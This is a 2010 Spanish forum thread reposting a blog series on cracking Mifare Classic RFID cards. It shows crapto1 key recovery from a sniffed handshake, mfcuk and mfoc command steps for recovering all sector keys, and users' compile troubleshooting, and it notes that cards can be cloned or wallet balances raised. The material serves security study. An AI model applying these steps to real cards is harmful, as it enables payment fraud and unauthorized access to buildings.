PDA

Ver la versión completa : Hacking RFID, rompiendo la seguridad de Mifare



LUK
22-07-2010, 18:01
En este post y los siguientes de la serie vamos a ver cómo conseguir romper la seguridad de las tarjetas de proximidad RFID basadas en tecnología Mifare. Ello conllevará la lectura y modificación interna de sus datos e incluso el clonado de las mismas.


http://www.securityartwork.es/wp-content/uploads/2010/01/mifare1.jpg

La tecnología RFID (Identificación Mediante Radio Frecuencia), conforma, hoy en día, una solución extensamente utilizada en sistemas de pago en transportes públicos, controles de acceso a edificios u oficinas, pasaportes, monederos electrónicos o sistemas de control de encendido en automóviles entre otras aplicaciones. Existen diversas soluciones como Mifare, Keeloq o RFID EM4102, que permiten al portador interactuar de forma inalámbrica con los sistemas desplegados. La seguridad de este tipo de tecnologías presenta deficiencias que pueden permitir a usuarios malintencionados realizar acciones ilícitas como fraude en sistemas de pago, bypass del sistema de encendido de automóviles, suplantar la identidad de personas o acceder a áreas de acceso restringido, entre otras cosas.

En esta serie de entradas nos vamos a centrar en la tecnología Mifare Classic ya que es una de las más utilizadas en entornos de producción (sistemas de ticketing, control de acceso físico, monedero electrónico, etc.). El proceso de análisis de la seguridad de este tipo de tarjetas ha sido realizado por la Universidad Nijmegen Holandesa en 2008 [1], consiguiendo romper el cifrado propietario de Philips CRYPTO1 sobre el cual se basa Mifare. Ya sabéis “Security through obscurity” mal camino. El problema vuelve a residir en la predictibilidad del algoritmo de generación de números aleatorios, como ocurre en otras tecnologías.
http://www.securityartwork.es/wp-content/uploads/2010/01/mifare2.jpg

Antes de entrar en los detalles técnicos de las debilidades de seguridad, pasaremos a describir su funcionamiento y estructura. En una arquitectura básica Mifare encontramos un lector y un tag o tarjeta, ejerciendo una comunicación dentro del radio de acción inalámbrico (unos 5 cm). Mifare Classic está basado en el estándar ISO 14443 e incorpora un protocolo anticolisiones, es decir, permite trabajar con varias tarjetas que estén dentro del radio de acción del lector al mismo tiempo. La principal diferencia de la implementación de Philips frente al estándar ISO 14443 es que la comunicación se produce de forma cifrada tras un proceso de autenticación mutuo lector-tarjeta. Cada 8 bits de transmisión, uno se utiliza para calcular la paridad, pero este es cifrado también, dejando la comprobación de integridad a la capa de aplicación.

Por lo que a su estructura lógica se refiere, la tarjeta está representada como un mapa de memoria con bloques de datos de 16 bytes. Estos bloques de datos se agrupan en sectores. Aquí hay que diferenciar las tarjetas de 1k de las de 4k.

Las de 1K tienen 16 sectores con 4 bloques de datos cada uno.
Las de 4K tienen los 32 primeros sectores compuestos por 4 bloques de datos y los 8 últimos sectores por 16 bloques de datos.Para ambas, el último bloque de datos de cada sector se denomina trailer y es donde se guardarán las claves privadas de acceso y los permisos para acceder a ese sector, lo veremos más en detalle a continuación. Por último cabe destacar que existe un bloque especial que esta localizado en el bloque de datos 0 del sector 0, que alberga la siguiente información en modo solo lectura:


UID – Identificador único de la tarjeta.
BCC – bit count check, calculado por la sucesivas XORs de los bytes del UID.
11 bytes de datos que identifican al fabricante del tag.
La siguiente figura ilustra el mapa de memoria de una tarjeta Mifare 4K.

http://www.securityartwork.es/wp-content/uploads/2010/01/mifare3.jpg

Para que el lector pueda leer y escribir el contenido de un sector, es decir, cualquiera de los 4 bloques de datos que tiene, necesita en primera instancia autenticarse contra él. Este proceso se realiza si y solo si la clave utilizada por el lector coincide con la que el sector trailer alberga. Mifare permite la utilización de dos claves por sector, la Key A (6 bytes) y la Key B (6 bytes), donde las condiciones o permisos de acceso al sector los marca la máscara Access Conditions (3 bytes).

http://www.securityartwork.es/wp-content/uploads/2010/01/mifare4.jpg

El byte restante U no tiene propósito específico. Este sistema permite con una única tarjeta desplegar varios sistemas que puedan interactuar con ella de forma independiente y sin conocer los datos de otros sectores. De esta manera, por ejemplo, una empresa de telefonía podría desplegar su sistema de monedero electrónico sin interferir en otro sistema de control de acceso físico implementado por un segundo, entregando al usuario un único Token de actuación.
En la próxima entrada, profundizaremos un poco más en cómo Mifare realiza el proceso de autenticación. Por lo demás, pasen un buen fin de semana.


[1] Flavio D. Garcia, Gerhard de Koning Gans, Ruben Muijrers, Peter van Rossum, Roel Verdult, Ronny Wichers Schreur, and Bart Jacobs. Dismanteling MIFARE Classic, Radboud University Nijmegen 2008.

(Actualización: Ya tenemos el Esquema Nacional de Seguridad y el Esquema Nacional de Interoperabilidad aquí, recién salidos del horno. Real Decreto 3/2010 y 4/2010, respectivamente. Véase la página del BOE del 29 de enero (http://www.boe.es/boe/dias/2010/01/29/) para acceder a los PDFs)

LUK
22-07-2010, 18:35
Tras introducir el pasado viernes algunos aspectos teóricos relevantes de RFID (http://www.securityartwork.es/2010/01/29/hacking-rfid-rompiendo-la-seguridad-de-mifare-i/), en esta segunda parte entraremos en cuestiones prácticas que nos darán resultados muy interesantes.

http://www.securityartwork.es/wp-content/uploads/2010/02/imagen1.jpg

Comencemos profundizando un poco más en como Mifare realiza el proceso de autenticación. En primera instancia el lector le comunica a la tarjeta que quiere realizar una operación sobre un sector de datos determinado N. El tag o tarjeta en ese momento remite un número aleatorio Nc (Nonce del cliente) de 32 bits a modo de reto, para que sea cifrado con la clave privada compartida previamente. Como respuesta, el lector remite el reto cifrado y un número aleatorio Nr (Nonce del lector) para que el tag lo cifre con la clave privada, generando una trama de 64 bits. En última instancia la tarjeta le envía al lector su reto cifrado. En este momento ambos tienen la certeza de que los dispositivos son legítimos. Destacar que los dos últimos intercambios se realizan ya de forma cifrada, permaneciendo en claro tan solo el envío de la petición de lectura y Nc. La figura de la izquerda ilustra el proceso de handshake.

Este proceso de saludo a 4 bandas es importante ya que de él extraeremos la información necesaria para inferir la clave privada del sector.

Procedamos ahora a realizar una prueba de concepto que nos permitirá, a partir de la captura de la información anterior, inferir la clave privada. Pero, ¿cómo podemos capturar una comunicación real entre un tag y un lector? Aquí es donde juega un papel importante el PROXMARK III. Este dispositivo desarrollado por Jonathan Westhues permite realizar sniffing de varias tecnologías RFID desde baja frecuencia (LF 125 Khz) a alta frecuencia HF (13.56 Mhz) y entre ellas la que nos interesa ISO14443 tipo A sobre la que se basa Mifare. En un principio el PROXMARK III supondría el Hardware sobre el cual se pueden implementar diversas capas físicas y de enlace, de diferentes protocolos, simplemente programando sus integrados con la especificación que se requiera.

http://www.securityartwork.es/wp-content/uploads/2010/02/imagen2.jpg

Muy bien, pues ya tenemos el dispositivo que nos permitirá capturar el handshake inicial entre la tarjeta y el lector, ahora tan solo nos falta un lector Mifare y una tarjeta. Para el lector, en este caso se ha optado por un Omnikey 5321 que viene con un software de ejemplo que permite la interacción con tags Mifare sin la necesidad de utilizar su API y programarse uno mismo el código. Para la tarjeta se ha utilizado una Mifare classic 4k. La captura de la derecha muestra la maqueta utilizada.
Como se puede ver la antena es casera, realizada a partir de un cable USB y no muy “profesional” pero para lo que nos acontece sobra, consiguiendo incluso sobre los 12500 mV en el test Tune (test que implementado en el firmware del PROXMARK III).
Colocando el sniffer entre la tarjeta y el lector podríamos proceder a realizar una lectura del sector 4, obteniendo la siguiente traza de bytes (véase Gerard de Koning Gans, Jaap-Henk Hoepman, Flavio D. Garcia. A practical Attack on the MIFARE classic. Radboud University Nijmegen 2008):

http://www.securityartwork.es/wp-content/uploads/2010/02/imagen3.jpg



Es conveniente comentar ciertos aspectos de la captura:

En primer lugar ETU corresponde con Elementary Time Units, y define el tiempo entre mensajes, donde 1 ETU corresponde con un cuarto del período de bit, que es igual a 1,18 microsegundos.
SEQ en este caso correspondería con el número de mensaje.
La trama “2a 69 8d 43 8d” identifica la tarjeta Mifare dentro del rango del lector, este identificador es pregrabado en el sector 0 del tag y no es modificable.
El byte “60” de la secuencia “07” indicaría a la tarjeta que se pretende trabajar y por tanto autenticar, en un sector determinado, en este caso el sector 01 donde esta albergado el bloque de datos 04 (siguiente byte al “60”) y utilizando para ello la clave A. Si nos encontráramos con un valor “61” se trataría de un intento de autenticación utilizando la clave B del sector.
El resto de tramas que implican el proceso de autenticación ya han sido comentadas anteriormente (Nc, Nr, Rc, Rr).
Con la información anterior capturada procederemos a inferir la clave privada del sector mediante la aplicación CRAPTO1 de desarrollo anónimo (lógico dado los problemas que tuvo la universidad de Radboud con Philips por su investigación).
Configuramos crapto1 con los parámetros anteriores:
uint32_t uid = 0x2a698b43;uint32_t tag_challenge = 0x3bae032d;uint32_t nr_enc = 0xc494a1d2;uint32_t reader_response = 0x6e968642;uint32_t tag_response = 0x8466059e;
Pasamos a compilar la aplicación:
roberto@hacklab:~/Mifare/crapto-v1.1$ gcc -o post post.c crapto1.c crypto1.c
Y obtenemos por fin la ansiada clave :
roberto@hacklab:~/Mifare/crapto-v1.1$ ./postnt': 7fcf34c3nt'': 869dbbd5ks2: 1159b281ks3: 02fbbe4bFound Key: [85 cc f9 ff ff ff]
Con esta clave privada ya podemos pasar a leer/modificar el contenido de los 4 bloques de datos que componen el sector 01, podríamos por ejemplo, cambiar esta clave privada escribiendo en el bloque de datos trailer o incrementar el valor de nuestro monedero electrónico. Cuidado al realizar esta primera operación, ya que podríamos modificar el tipo de acceso (3 bytes de Acces Conditions) y dejar el sector (todos los bloques de datos que lo componen!) inservible. Para más información sobre estos 3 bytes ojear ISO14443-A, Identification cards – Contactless integrated circuit(s) cards – Proximity cards (2006). Lo más habitual es encontrarse con el resto de sectores protegidos con la misma clave privada, con lo que se podría proceder a realizar un clonado completo de la tarjeta (salvo el UID, auque normalmente no lo comprueban las aplicaciones).
En resumen hemos visto como es posible comprometer la seguridad de este tipo de tecnologías RFID. Como apunte final, alarma la cantidad de empresas y entidades a nivel mundial que utilizan Mifare Classic como sistema de ticketing, monedero electrónico o control de acceso físico. No voy a revelar que organismos lo hacen, pero más de los que os imagináis.
Happy RFIDing!

LUK
22-07-2010, 18:36
Con el permiso de Roberto, voy a continuar con la serie sobre seguridad en Mifare Classic que él comenzó hace unos meses (véase I (http://www.securityartwork.es/2010/01/29/hacking-rfid-rompiendo-la-seguridad-de-mifare-i/) y II (http://www.securityartwork.es/2010/02/03/hacking-rfid-rompiendo-la-seguridad-de-mifare-ii/)).
En las anteriores entradas, se han comentado los ataques contra la comunicación lector-tag, donde era necesario capturar el momento de la autenticación. Además era necesario el uso de hardware relativamente caro, el PROXMARK III (240€).

http://www.securityartwork.es/wp-content/uploads/2010/07/touchatag.jpg

En este post y el siguiente, vamos a ver como es posible recuperar la información de un tag usando hardware barato y ataques contra el tag. En primer lugar vamos a presentar el hardware:
Se trata del lector de touchatag, un lector basado en el ACR122U de ACS. La gran virtud de este lector es la posibilidad de usar las librerías libres libnfc, que han permitido a la comunidad desarrollar aplicaciones sin necesidad de pagar los costosos SDK’s privados.
La otra gran virtud es el precio, 40€ aproximadamente con portes e impuestos incluidos.

La instalación del dispositivo es sencilla, aunque a veces se nos puede enganchar. Por eso, voy a indicar como poner en funcionamiento nuestro lector. Yo he utilizado una Ubuntu 10.04 aunque la instalación se puede hacer en otras distros con cambios mínimos. Primero instalamos las librerías y programas que vamos a necesitar:


dlladro@vm:~$ sudo apt-get install build-essential subversion automake autoconflibusb-dev libpcsclite-dev libusb-0.1-4 libpcsclite1 pcscd pcsc-tools libtool flex

Una vez hecho esto, pasamos a descargar e instalar las librerias LibNFC:



svn checkout http://libnfc.googlecode.com/svn/trunk/ libnfc-read-onlycd libnfc-read-onlyautoreconf -vis./configuremakesudo make install


Ahora necesitamos instalar los drivers del lector:


wget http://www.acs.com.hk/drivers/eng/ACR122U_Driver_Lnx_MAC10.56_101_P.zipunzip ACR122U_Driver_Lnx_MAC10.56_101_P.ziptar -jxvf acsccid-1.0.1.tar.bz2cd acsccid-1.0.1/./configuremakesudo make install

Ahora podemos conectar el lector, y utilizar los siguientes comandos para asegurarnos que lo hemos instalado bien:

pcsc_scannfc-list

Una vez lo tenemos listo, en el próximo post veremos como utilizando diferentes ataques contra el tag, vamos a poder leer y escribir los tags Mifare Classic sin necesidad de conocer la clave. Manténganse a la escucha.

Izai
25-08-2010, 20:27
Para los que les interese el tema rfid, un pequeño manual sobre como acceder al chip rfid mas utilizado del mundo usando software libre.

Puede que existan otros metodos, no lo se, lo que si se es que este funciona.

La tj. consta de 16 sectores con 2 claves de acceso por sector.

Necesitamos un lector ACR122 y una distribucion de linux instalada. Yo uso ubuntu pero supongo que sirve cualquiera.


Bajamos mfcuk y lo compilamos:

./autogen.sh o ./configure
make

Se nos habra creado el ejecutable y una carpeta bin con otro .exe que funciona en windows.

Instalamos los drivers del ACR, que los podemos bajar de su pagina (windows y linux).

Bajamos la libreria libnfc y la instalamos. Para poder instalarla necesitamos otras librerias (libusb, libpcsclite, y libccid que tienen que estar instaladas previamente).

Linkamos las librerias:

sudo apt-get install libusb-dev libpcsclite-dev
sudo apt-get install libusb libpcsclite1 libccid pcscd

Compilamos libnfc:

./configure
make

Y la instalamos:

sudo make install

Ahora conectamos el lector y abrimos la carpeta bin de antes. Ejecutamos el programa de DOS (o bajo linux) y cuando termine nos habra dado una clave. Aqui teneis una captura:

http://img132.imageshack.us/img132/4784/clave.th.jpg (http://img132.imageshack.us/i/clave.jpg/)

Ahora nos bajamos mfoc y lo compilamos con la clave que hemos abtenido antes y la usamos como exploit.

./configure
make

Nos situamos en la carpeta src y lo ejecutamos:./mfoc -O

Cuando termine habremos obtenido las claves que faltan

Aqui teneis la captura:

http://img148.imageshack.us/img148/4793/pantallazorl.th.png (http://img148.imageshack.us/i/pantallazorl.png/)

Con las claves en la mano solo queda poder escribir en ella, y eso se puede hacer con otro pequeño programa de DOS, el Mcmd (hay otros).

http://img818.imageshack.us/img818/2242/mcmd.th.jpg (http://img818.imageshack.us/i/mcmd.jpg/)


Saludos

3ljhon
29-08-2010, 03:28
Saludos!

Yo uso ubuntu 9.04

mi archivo /etc/ld.so.conf:
==============================
gandalf@gandalf-laptop:~$ cat /etc/ld.so.conf
include /etc/ld.so.conf.d/*.conf
include /usr/lib
include /u01/app/oracle/product/11.1.0/db_1/lib

/root/fuck/libnfc/libnfc-read-only/libnfc
/root/fuck/libnfc/libnfc-read-only/libnfc/.libs
/usr/local/lib/

======================================

Can you help me: I get the following error when compiling with
gcc -o mfcuk_keyrecovery_darkside mfcuk_keyrecovery_darkside.c -I/root/fuck/libnfc/libnfc-read-only/include -I. -L/usr/local -L./bin/libnfc.lib -lnfc ./*.o

àrbol de directrios:

Niel de diectorio contenedor
================================================== =
root@gandalf-laptop:~/fuck# ls -la
total 72
drwxr-xr-x 18 root root 4096 2010-08-28 16:04 .
drwx------ 51 root root 4096 2010-08-28 18:04 ..
drwxr-xr-x 3 root root 4096 2010-08-27 22:42 02
drwxr-xr-x 3 root root 4096 2010-08-28 18:03 03
drwxr-xr-x 3 root root 4096 2010-08-28 10:11 04
drwxr-xr-x 5 root root 4096 2010-08-28 16:28 7
drwxr-xr-x 3 root root 4096 2010-08-28 13:20 crapto1
drwxr-xr-x 3 root root 4096 2010-08-27 23:43 craptogui
drwxr-xr-x 4 root root 4096 2010-08-27 13:44 driverlector
drwxr-xr-x 3 root root 4096 2010-08-27 15:36 fuck
drwxr-xr-x 3 root root 4096 2010-08-27 17:06 libnfc
drwxr-xr-x 3 root root 4096 2010-08-27 13:15 libnfc-read-onlyautoreconf
drwxr-xr-x 3 root root 4096 2010-08-28 08:49 librfid
drwxr-xr-x 3 root root 4096 2010-08-27 17:17 mfcuk
drwxr-xr-x 3 root root 4096 2010-08-28 11:09 mfoc
drwxr-xr-x 3 root root 4096 2010-08-28 11:11 mfoc_new
drwxr-xr-x 3 root root 4096 2010-08-27 23:29 rfdump
drwxr-xr-x 3 root root 4096 2010-08-27 23:02 rfidiot


Primer nivel:
================================================== =
root@gandalf-laptop:~/fuck/03# ls -la
total 136
drwxr-xr-x 3 root root 4096 2010-08-28 18:03 .
drwxr-xr-x 18 root root 4096 2010-08-28 16:04 ..
-rwxr-xr-x 1 root root 18329 2010-08-28 17:06 cm
-rw-r--r-- 1 root root 2814 2010-06-04 15:18 cm.c
-rw-r--r-- 1 root root 8699 2010-06-04 15:17 crf.c
-rw-r--r-- 1 root root 9402 2010-06-04 15:18 cryptolib.c
-rw-r--r-- 1 root root 2036 2010-06-04 15:18 cryptolib.h
-rw-r--r-- 1 root root 9324 2010-08-28 17:06 cryptolib.o
-rw-r--r-- 1 root root 12329 2010-08-28 17:06 cryptomemrf.zip
-rw-r--r-- 1 root root 1101 2010-06-04 15:24 defines.h
-rw-r--r-- 1 root root 351 2010-05-07 07:17 Makefile
drwxr-xr-x 5 root root 4096 2010-08-28 09:37 mfcuk-read-only
-rwxr-xr-x 1 root root 18329 2010-08-28 17:06 sm
-rw-r--r-- 1 root root 2372 2010-06-04 15:18 sm.c
-rw-r--r-- 1 root root 1225 2010-06-04 15:24 util.c
-rw-r--r-- 1 root root 1034 2010-06-04 15:24 util.h
-rw-r--r-- 1 root root 1096 2010-08-28 17:06 util.o

Segundo nivel:
================================================== ===

root@gandalf-laptop:~/fuck/03/mfcuk-read-only/src# ls -l
total 220
drwxr-xr-x 4 root root 4096 2010-08-28 17:52 bin
-rw-r--r-- 1 root root 334 2010-08-28 09:37 build_cygwin.sh
-rw-r--r-- 1 root root 14007 2010-08-28 09:37 crapto1.c
-rw-r--r-- 1 root root 3090 2010-08-28 09:37 crapto1.h
-rw-r--r-- 1 root root 8332 2010-08-28 13:30 crapto1.o
-rw-r--r-- 1 root root 2481 2010-08-28 09:37 crypto1.c
-rw-r--r-- 1 root root 2096 2010-08-28 13:30 crypto1.o
-rw-r--r-- 1 root root 321 2010-08-28 09:37 Makefile.am
-rw-r--r-- 1 root root 5781 2010-08-28 09:37 mfcuk_finger.c
-rw-r--r-- 1 root root 2186 2010-08-28 09:37 mfcuk_finger.h
-rw-r--r-- 1 root root 3676 2010-08-28 13:30 mfcuk_finger.o
-rw-r--r-- 1 root root 74442 2010-08-28 12:57 mfcuk_keyrecovery_darkside.c
-rw-r--r-- 1 root root 6653 2010-08-28 09:37 mfcuk_keyrecovery_darkside.h
-rw-r--r-- 1 root root 15747 2010-08-28 09:37 mfcuk_mifare.c
-rw-r--r-- 1 root root 6995 2010-08-28 12:58 mfcuk_mifare.h
-rw-r--r-- 1 root root 6324 2010-08-28 13:31 mfcuk_mifare.o
-rw-r--r-- 1 root root 2377 2010-08-28 09:37 mfcuk_utils.c
-rw-r--r-- 1 root root 3198 2010-08-28 09:37 mfcuk_utils.h
-rw-r--r-- 1 root root 873 2010-08-28 13:32 mfcuk_utils.o
-rw-r--r-- 1 root root 1412 2010-08-28 11:35 mifaretag.h
-rw-r--r-- 1 root root 7083 2010-08-28 09:37 xgetopt.c
-rw-r--r-- 1 root root 655 2010-08-28 09:37 xgetopt.h
-rw-r--r-- 1 root root 1740 2010-08-28 13:32 xgetopt.o
root@gandalf-laptop:~/fuck/03/mfcuk-read-only/src#

aquì, compilando con:

gcc -o mfcuk_keyrecovery_darkside mfcuk_keyrecovery_darkside.c -I/root/fuck/libnfc/libnfc-read-only/include -I. -L/usr/local -L./bin/libnfc.lib -lnfc ./*.o



Obtengo el sig error:


root@gandalf-laptop:~/fuck/03/mfcuk-read-only/src# gcc -o mfcuk_keyrecovery_darkside mfcuk_keyrecovery_darkside.c -I/root/fuck/libnfc/libnfc-read-only/include -I. -L/usr/local -L./bin/libnfc.lib -lnfc ./*.o
mfcuk_keyrecovery_darkside.c: En la función ‘main’:
mfcuk_keyrecovery_darkside.c:893: aviso: la constante entera es demasiado grande para el tipo ‘long’
/tmp/ccgG1DnL.o: In function `mfcuk_verify_key_block':
mfcuk_keyrecovery_darkside.c:(.text+0x2dc): undefined reference to `swap_endian32'
mfcuk_keyrecovery_darkside.c:(.text+0x3c4): undefined reference to `oddparity'
mfcuk_keyrecovery_darkside.c:(.text+0x499): undefined reference to `oddparity'
/tmp/ccgG1DnL.o: In function `mfcuk_key_recovery_block':
mfcuk_keyrecovery_darkside.c:(.text+0x8c8): undefined reference to `swap_endian32'
mfcuk_keyrecovery_darkside.c:(.text+0xb86): undefined reference to `oddparity'
mfcuk_keyrecovery_darkside.c:(.text+0xd38): undefined reference to `oddparity'
/tmp/ccgG1DnL.o: In function `mfcuk_darkside_select_tag':
mfcuk_keyrecovery_darkside.c:(.text+0x1db4): undefined reference to `nfc_initiator_select_tag'
/tmp/ccgG1DnL.o: In function `main':
mfcuk_keyrecovery_darkside.c:(.text+0x2525): undefined reference to `swap_endian32'
mfcuk_keyrecovery_darkside.c:(.text+0x33f0): undefined reference to `print_hex'
mfcuk_keyrecovery_darkside.c:(.text+0x35b7): undefined reference to `swap_endian32'
mfcuk_keyrecovery_darkside.c:(.text+0x3765): undefined reference to `swap_endian32'
mfcuk_keyrecovery_darkside.c:(.text+0x37ac): undefined reference to `swap_endian32'
mfcuk_keyrecovery_darkside.c:(.text+0x3ab2): undefined reference to `nfc_initiator_select_tag'
mfcuk_keyrecovery_darkside.c:(.text+0x3b07): undefined reference to `nfc_initiator_mifare_cmd'

con:

gcc -o zv_mf_dark_side zv_mf_dark_side.c ./crapto1-v3.1/crapto1.c
./crapto1-v3.1/crypto1.c ./libnfc-v1.2.1/bin/libnfc.lib -lnfc
-I./libnfc-v1.2.1/include -L./libnfc-v1.2.1/lib

No Compila correctamente.

por cierto el paquete no lo puedo configurar y construir con los comandos que muestras, o talves es otra distro, me puedes decir donde la consigo!?

Gracias.

Izai
29-08-2010, 19:09
Puedes pegar el log que te aparece cuando ejecutas ./autogen.sh y ./configure?.

Ahora no recuerdo que version de ubuntu tengo instalada; ya lo mirare si quieres, pero no creo que vayan por ahi los tiros. Lo mas probable es que no tengas bien el entorno de compilacion o te falte algun paquete.

Saludos.

3ljhon
31-08-2010, 18:05
Que tal izai!

Creo que ese es precisamente el asunto, la version del software que yo baje de

http://code.google.com/p/mfcuk/source/checkout

descargado con:

svn checkout http://mfcuk.googlecode.com/svn/trunk/ mfcuk-read-only


no veo el archivo keygen ni el configure que mencionan.

agradecere el apoyo, ¿Còmo genero esos archivos?¿Es otra distro de la que estan hablado? en tal caso de donde la descargo

gracias de antemano

3ljhon
31-08-2010, 23:00
Os platico, después de descargar los directorios:

%svn checkout http://mfcuk.googlecode.com/svn/trunk/ mfcuk-read-only
%svn checkout http://libnfc.googlecode.com/svn/trunk/ libnfc-read-only
y el tar-gz de crapto, tengo lo siguiente:

===============================================
root@gandalf-laptop:~/fuck/8# ls -la
total 20
drwxr-xr-x 5 root root 4096 2010-08-31 15:50 .
drwxr-xr-x 19 root root 4096 2010-08-31 14:45 ..
drwxr-xr-x 3 root root 4096 2010-08-31 14:49 crapto
drwxr-xr-x 12 root root 4096 2010-08-31 15:50 libnfc-read-only
drwxr-xr-x 6 root root 4096 2010-08-31 15:48 mfcuk-read-only
===============================================
root@gandalf-laptop:~/fuck/8# cd libnfc-read-only/

root@gandalf-laptop:~/fuck/8/libnfc-read-only# ls

AUTHORS cmake_modules configure.ac debian include LICENSE make_release.sh pn53x.rules windows
ChangeLog CMake-Windows.txt contrib Doxyfile.in libnfc m4 NEWS README
CMakeLists.txt config.h.cmake COPYING examples libnfc.pc.in Makefile.am pn53x.conf test

root@gandalf-laptop:~/fuck/8/libnfc-read-only# ./make_release.sh

>>> Cleaning sources...
configure.ac:24: error: possibly undefined macro: AC_PROG_LIBTOOL
If this token and others are legitimate, please use m4_pattern_allow.
See the Autoconf documentation.
autoreconf: /usr/local/bin/autoconf failed with exit status: 1
<<< Sources cleaned.
>>> Autotooled archive generation...
configure.ac:24: error: possibly undefined macro: AC_PROG_LIBTOOL
If this token and others are legitimate, please use m4_pattern_allow.
See the Autoconf documentation.
autoreconf: /usr/local/bin/autoconf failed with exit status: 1
make: *** No hay ninguna regla para construir el objetivo `distclean'. Alto.


y si tengo instalado libtool
==============================
root@gandalf-laptop:~# libtool --version
ltmain.sh (GNU libtool) 2.2.6
Written by Gordon Matzigkeit <[email protected]>, 1996

Copyright (C) 2008 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.



::::::::::::::Referente a fcuk:::::::::

root@gandalf-laptop:~/fuck/8# cd mfcuk-read-only/

root@gandalf-laptop:~/fuck/8/mfcuk-read-only# ls

aclocal.m4 autom4te.cache config.h.in configure COPYING INSTALL LICENSE Makefile.in NEWS src tools
AUTHORS ChangeLog config.log configure.ac depcomp install-sh Makefile.am missing README TODO

Esta bien que haga "autoconf" en este directorio... observo que se crea un archivo "configure"...
root@gandalf-laptop:~/fuck/8/mfcuk-read-only# autoconf

root@gandalf-laptop:~/fuck/8/mfcuk-read-only# ls -la

total 416
drwxr-xr-x 6 root root 4096 2010-08-31 15:48 .
drwxr-xr-x 5 root root 4096 2010-08-31 15:50 ..
-rw-r--r-- 1 root root 35537 2010-08-31 14:53 aclocal.m4
-rw-r--r-- 1 root root 59 2010-08-31 14:46 AUTHORS
drwxr-xr-x 2 root root 4096 2010-08-31 14:53 autom4te.cache
-rw-r--r-- 1 root root 0 2010-08-31 14:46 ChangeLog
-rw-r--r-- 1 root root 3771 2010-08-31 14:53 config.h.in
-rw-r--r-- 1 root root 4665 2010-08-31 15:48 config.log
-rwxr-xr-x 1 root root 196054 2010-08-31 14:53 configure
-rw-r--r-- 1 root root 1797 2010-08-31 14:46 configure.ac
-rw-r--r-- 1 root root 17987 2010-08-31 14:46 COPYING
-rwxr-xr-x 1 root root 18615 2010-08-31 14:53 depcomp
-rw-r--r-- 1 root root 15578 2010-08-31 14:53 INSTALL
-rwxr-xr-x 1 root root 13663 2010-08-31 14:53 install-sh
-rw-r--r-- 1 root root 17987 2010-08-31 14:46 LICENSE
-rw-r--r-- 1 root root 79 2010-08-31 14:46 Makefile.am
-rw-r--r-- 1 root root 21776 2010-08-31 14:53 Makefile.in
-rwxr-xr-x 1 root root 11419 2010-08-31 14:53 missing
-rw-r--r-- 1 root root 0 2010-08-31 14:46 NEWS
-rw-r--r-- 1 root root 2259 2010-08-31 14:46 README
drwxr-xr-x 4 root root 4096 2010-08-31 14:53 src
drwxr-xr-x 6 root root 4096 2010-08-31 14:46 .svn
-rw-r--r-- 1 root root 481 2010-08-31 14:46 TODO
drwxr-xr-x 3 root root 4096 2010-08-31 14:46 tools

root@gandalf-laptop:~/fuck/8/mfcuk-read-only#

::Sin embargo a la hora de ejecutarlo:::
root@gandalf-laptop:~/fuck/8/mfcuk-read-only# ./configure
checking for a BSD-compatible install... /usr/bin/install -c
checking whether build environment is sane... yes
checking for a thread-safe mkdir -p... /bin/mkdir -p
checking for gawk... gawk
checking whether make sets $(MAKE)... yes
checking for pkg-config... /usr/bin/pkg-config
./configure: line 2816: syntax error near unexpected token `LIBNFC,'
./configure: line 2816: ` PKG_CHECK_MODULES(LIBNFC, libnfc, WITH_NFC=1, WITH_NFC=0)'

:::por lo que infiero que primero se debe resolver el primer punto concerniente a libnfc:::

Gracias por su ayuda.

3ljhon
01-09-2010, 02:16
Picandole he llegado a crear el archivo ejecutable de mfcuk_keyrecovery_darkside, espero haberlo creado bien -jejeje- si no ya andare posteandoles mi rrecorrido por este apasionante mundillo...


solo que al ejecutarlo sale lo siguiente,,,,
me podrian apoyar comentando la manera de usarlo, los parametros que se le pasan...

================================================== ==
root@gandalf-laptop:~/fuck/9/libnfc/mfcuk-read-only# mfcuk_keyrecovery_darkside -h


MFCUK - MiFare Classic Universal toolKit - 0.1
Mifare Classic DarkSide Key Recovery Tool - 0.3
by Andrei Costin, [email protected], http://andreicostin.com

WARN: cannot open template file './data/tmpls_fingerprints/mfcuk_tmpl_skgt.mfd'
WARN: cannot open template file './data/tmpls_fingerprints/mfcuk_tmpl_ratb.mfd'
WARN: cannot open template file './data/tmpls_fingerprints/mfcuk_tmpl_oyster.mfd'
Fallo de segmentación
root@gandalf-laptop:~/fuck/9/libnfc/mfcuk-read-only#
================================================== =====
si lo ejecuto sin parametros salen las opciones del programa

root@gandalf-laptop:~/fuck/9/libnfc/mfcuk-read-only# mfcuk_keyrecovery_darkside

MFCUK - MiFare Classic Universal toolKit - 0.1
Mifare Classic DarkSide Key Recovery Tool - 0.3
by Andrei Costin, [email protected], http://andreicostin.com


Usage:
-C - require explicit connection to the reader. Without this option, the connection is not made and recovery will not occur
-i mifare.dmp - load input mifare_tag type dump
-I mifare_ext.dmp - load input extended dump specific to this tool, has several more fields on top of mifare_tag type dump
-o mifare.dmp - output the resulting mifare_tag dump to a given file
-O mifare_ext.dmp - output the resulting extended dump to a given file
-V sector[:A/B/any_other_alphanum[:fullkey]] - verify key for specified sector, -1 means all sectors
After first semicolon key-type can specified: A verifies only keyA, B verifies only keyB, anything else verifies both keys
After second semicolon full 12 hex-digits key can specified - this key will override any loaded dump key for the given sector(s) and key-type(s)
-R sector[:A/B/any_other_alphanum] - recover key for sector, -1 means all sectors.
After first semicolon key-type can specified: A recovers only keyA, B recovers only keyB, anything else recovers both keys
-U UID - force specific UID. If a dump was loaded with -i, -U will overwrite the in the memory where dump was loaded
-M tagtype - force specific tagtype. 8 is 1K, 24 is 4K, 32 is DESFire
-D - for sectors and key-types marked for verification, in first place use default keys to verify (maybe you are lucky)
-d key - specifies additional full 12 hex-digits default key to be checked. Multiple -d options can be used for more additional keys
-s - miliseconds to sleep for DROP FIELD
-S - miliseconds to sleep for CONSTANT DELAY
-P hex_literals_separated - try to recover the key from a conversation sniffed with Proxmark3 (mifarecrack.c based). Accepts several options:
Concatenated string in hex literal format of form uid:tag_chal:nr_enc:reader_resp:tag_resp
Example -P 0x5c72325e:0x50829cd6:0xb8671f76:0xe00eefc9:0x4888 964f would find key FFFFFFFFFFFF
-p proxmark3_full.log - tries to parse the log file on it's own (mifarecrack.py based), get the values for option -P and invoke it
-F - tries to fingerprint the input dump (-i) against known cards' data format


Gracias de antemano

3ljhon
01-09-2010, 05:23
Os comento:
el trecer comando se queda colgado en error

